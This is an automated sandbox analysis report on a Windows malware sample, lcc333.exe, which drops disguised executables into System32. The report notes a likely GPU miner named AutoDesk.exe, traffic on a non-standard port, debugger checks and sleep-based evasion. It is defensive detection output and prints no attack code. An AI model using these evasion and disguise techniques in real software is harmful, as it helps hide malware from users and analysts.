Source: C:\Windows\System32\nircmd.exe Process created: C:\Windows\System32\app_process.exe "app_process.exe" Jump to behavior
Source: C:\Windows\System32\nircmd.exe Process created: C:\Windows\System32\app_process.exe "app_process.exe" Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Section loaded: python3.dll Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Section loaded: libcrypto-3.dll Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Section loaded: libssl-3.dll Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\timeout.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\nircmd.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\System32\nircmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\timeout.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: nvcuda.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: nvml.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: vcruntime140_1.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: vcruntime140_1.dll Jump to behavior
Source: C:\Windows\System32\nircmd.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\System32\timeout.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\timeout.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: nvcuda.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: nvml.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: vcruntime140_1.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\AutoDesk.exe Section loaded: vcruntime140_1.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\taskkill.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\nircmd.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\nircmd.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\app_process.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\timeout.exe Section loaded: version.dll
Source: Window Recorder Window detected: More than 3 window changes detected
Source: lcc333.exe Static PE information: Image base 0x140000000 > 0x60000000
Source: lcc333.exe Static file information: File size 8547394 > 1048576
Source: lcc333.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: lcc333.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: lcc333.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: lcc333.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: lcc333.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: lcc333.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: lcc333.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: lcc333.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: D:\a\1\b\bin\amd64\select.pdb source: lcc333.exe, 00000000.00000003.2111135941.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: lcc333.exe, 00000000.00000003.2111291391.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: lcc333.exe, 00000000.00000003.2105250934.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: _decimal.pyd.0.dr
Source: Binary string: c:\Projects\VS2005\NirCmd\x64\release\NirCmd.pdb source: nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: _decimal.pyd.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: lcc333.exe, 00000000.00000003.2105823533.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: lcc333.exe, 00000000.00000003.2104927615.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: lcc333.exe, 00000000.00000003.2104758993.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: lcc333.exe, 00000000.00000003.2104758993.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: lcc333.exe, 00000000.00000003.2105914516.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp
Source: lcc333.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: lcc333.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: lcc333.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: lcc333.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: lcc333.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140007DE4 FreeLibrary,LoadLibraryA,GetProcAddress,memset,GetLastError,FreeLibrary,memset,CreateProcessA,GetLastError,FreeLibrary, 15_2_0000000140007DE4
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .|q6
PE file contains sections with non-standard names
Source: libcrypto-3.dll.0.dr Static PE information: section name: .00cfg
Source: libssl-3.dll.0.dr Static PE information: section name: .00cfg
Source: python312.dll.0.dr Static PE information: section name: PyRuntim
Source: VCRUNTIME140.dll.0.dr Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr Static PE information: section name: _RDATA
Source: AutoDesk.exe.2.dr Static PE information: section name: __nv_mod
Source: AutoDesk.exe.2.dr Static PE information: section name: __nv_rel
Source: AutoDesk.exe.2.dr Static PE information: section name: .nvFatBi
Source: AutoDesk.exe.2.dr Static PE information: section name: .nv_fatb
Source: AutoDesk.exe.2.dr Static PE information: section name: .`[w
Source: AutoDesk.exe.2.dr Static PE information: section name: .[dL
Source: AutoDesk.exe.2.dr Static PE information: section name: .|q6

Persistence and Installation Behavior
barindex
Drops executables to the windows directory (C:\Windows) and starts them
Source: C:\Windows\System32\cmd.exe Executable created and started: C:\Windows\System32\nircmd.exe Jump to behavior
Source: C:\Windows\System32\nircmd.exe Executable created and started: C:\Windows\System32\app_process.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Executable created and started: C:\Windows\System32\AutoDesk.exe
Drops PE files
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_ssl.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_decimal.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_queue.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Windows\System32\nircmd.exe Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\select.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Windows\System32\AutoDesk.exe Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\VCRUNTIME140.dll Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\python312.dll Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Windows\System32\app_process.exe Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_lzma.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md__mypyc.cp312-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\unicodedata.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md.cp312-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_socket.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\libcrypto-3.dll Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_hashlib.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\_bz2.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Users\user\AppData\Local\Temp\_MEI6122\libssl-3.dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Windows\System32\nircmd.exe Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Windows\System32\AutoDesk.exe Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe File created: C:\Windows\System32\app_process.exe Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 50010 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 50011 -> 48080
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 50010
Source: unknown Network traffic detected: HTTP traffic on port 48080 -> 50011
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C876C0 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError, 0_2_00007FF714C876C0
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\taskkill.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\taskkill.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\timeout.exe Window / User API: threadDelayed 1089 Jump to behavior
Source: C:\Windows\System32\timeout.exe Window / User API: threadDelayed 5403 Jump to behavior
Source: C:\Windows\System32\timeout.exe Window / User API: threadDelayed 377 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_ssl.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_decimal.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_queue.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\select.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\python312.dll Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_lzma.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md__mypyc.cp312-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\unicodedata.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md.cp312-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_socket.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_hashlib.pyd Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_bz2.pyd Jump to dropped file
Found evasive API chain checking for process token information
Source: C:\Users\user\Desktop\lcc333.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Found large amount of non-executed APIs
Source: C:\Windows\System32\nircmd.exe API coverage: 0.0 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\timeout.exe TID: 7136 Thread sleep count: 39 > 30 Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 3924 Thread sleep count: 1089 > 30 Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 3924 Thread sleep time: -108900s >= -30000s Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 2928 Thread sleep count: 5403 > 30 Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 2928 Thread sleep time: -540300s >= -30000s Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 2928 Thread sleep count: 377 > 30 Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 2928 Thread sleep time: -37700s >= -30000s Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 1568 Thread sleep count: 127 > 30 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\timeout.exe Last function: Thread delayed
Source: C:\Windows\System32\timeout.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\timeout.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C89280 FindFirstFileExW,FindClose, 0_2_00007FF714C89280
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C883C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 0_2_00007FF714C883C0
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose, 0_2_00007FF714CA1874
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140002C80 strcpy,strrchr,FindFirstFileA,FindNextFileA,FindClose, 15_2_0000000140002C80
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140003B64 FindFirstFileA,FindNextFileA,FindClose,strlen,strlen, 15_2_0000000140003B64
Source: lcc333.exe, 00000000.00000003.2106645553.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, cacert.pem.0.dr Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: app_process.exe, 00000012.00000002.3340588726.000001E127F7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000020.00000002.3354287204.0000014329934000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: cacert.pem.0.dr Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
Source: app_process.exe, 00000016.00000002.3340743307.000002168C8B2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]]
Source: app_process.exe, 00000023.00000002.3354158380.00000275E82E1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllrr
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C9A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF714C9A614
Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\nircmd.exe Code function: 15_2_0000000140007DE4 FreeLibrary,LoadLibraryA,GetProcAddress,memset,GetLastError,FreeLibrary,memset,CreateProcessA,GetLastError,FreeLibrary, 15_2_0000000140007DE4
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714CA3480 GetProcessHeap, 0_2_00007FF714CA3480
Enables debug privileges
Source: C:\Windows\System32\taskkill.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\taskkill.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C9A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF714C9A614
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C8C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00007FF714C8C8A0
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C8D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF714C8D12C
Source: C:\Users\user\Desktop\lcc333.exe Code function: 0_2_00007FF714C8D30C SetUnhandledExceptionFilter, 0_2_00007FF714C8D30C
Source: C:\Windows\System32\app_process.exe Memory allocated: page read and write | page guard Jump to behavior
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Source: C:\Windows\System32\nircmd.exe Code function: memset,memset,GetWindowsDirectoryA,strlen,strlen,FindWindowA,GetWindowThreadProcessId,OpenProcess,CloseHandle,CloseHandle,PostMessageA,EnumWindows,memset,memset,MultiByteToWideChar,CloseHandle,FindWindowA,GetWindowThreadProcessId,PostMessageA,memset,CreateProcessA,FreeLibrary, Explorer.exe 15_2_00000001400057E0
Source: C:\Windows\System32\nircmd.exe Code function: memset,memset,GetWindowsDirectoryA,strlen,strlen,FindWindowA,GetWindowThreadProcessId,OpenProcess,CloseHandle,CloseHandle,PostMessageA,EnumWindows,memset,memset,MultiByteToWideChar,CloseHandle,FindWindowA,GetWindowThreadProcessId,PostMessageA,memset,CreateProcessA,FreeLibrary, Explorer.exe 15_2_00000001400057E0
Creates a process in suspended mode (likely to inject code)
